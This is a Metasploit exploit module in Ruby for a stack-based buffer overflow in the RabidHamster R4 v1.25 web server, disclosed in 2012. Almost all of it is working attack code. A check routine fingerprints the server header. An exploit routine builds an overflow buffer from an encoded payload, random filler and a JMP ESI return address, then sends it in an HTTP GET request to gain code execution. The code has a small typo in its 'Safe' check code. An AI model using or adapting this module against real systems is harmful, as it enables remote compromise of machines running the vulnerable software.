RabidHamster R4 – Log Entry ‘sprintf()’ Remote Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "RabidHamster R4 Log Entry sprintf() Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability found in RabidHamster R4's web server. By supplying a malformed HTTP request, it is possible to trigger a stack-based buffer overflow when generating a log, which may result in arbitrary code execution under the context of the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Luigi Auriemma', #Discovery, PoC 'sinn3r' #Metasploit ], 'References' => [ ['OSVDB', '79007'], ['URL', 'http://aluigi.altervista.org/adv/r4_1-adv.txt'], ['URL', 'http://secunia.com/advisories/47901/'] ], 'Payload' => { 'StackAdjustment' => -3500, 'BadChars' => "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x20" }, 'DefaultOptions' => { 'ExitFunction' => "process" }, 'Platform' => 'win', 'Targets' => [ ['R4 v1.25', {'Ret'=>0x73790533}] #JMP ESI (ddraw.dll) ], 'Privileged' => false, 'DisclosureDate' => "Feb 09 2012", 'DefaultTarget' => 0)) register_options( [ OptPort.new('RPORT', [true, 'The remote port', 8888]) ], self.class) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => '/' }) if res and res.headers['Server'] == 'R4 Embedded Server' return Exploit::CheckCode::Detected else return Exploit::CheckCoded::Safe end end def exploit buf = '' buf << payload.encoded buf << rand_text_alpha(2022-buf.length, payload_badchars) buf << [target.ret].pack("V*") buf << pattern_create(200) buf << rand_text_alpha(3000-buf.length, payload_badchars) send_request_cgi({ 'method' => 'GET', 'uri' => "/?#{buf}" }) end end |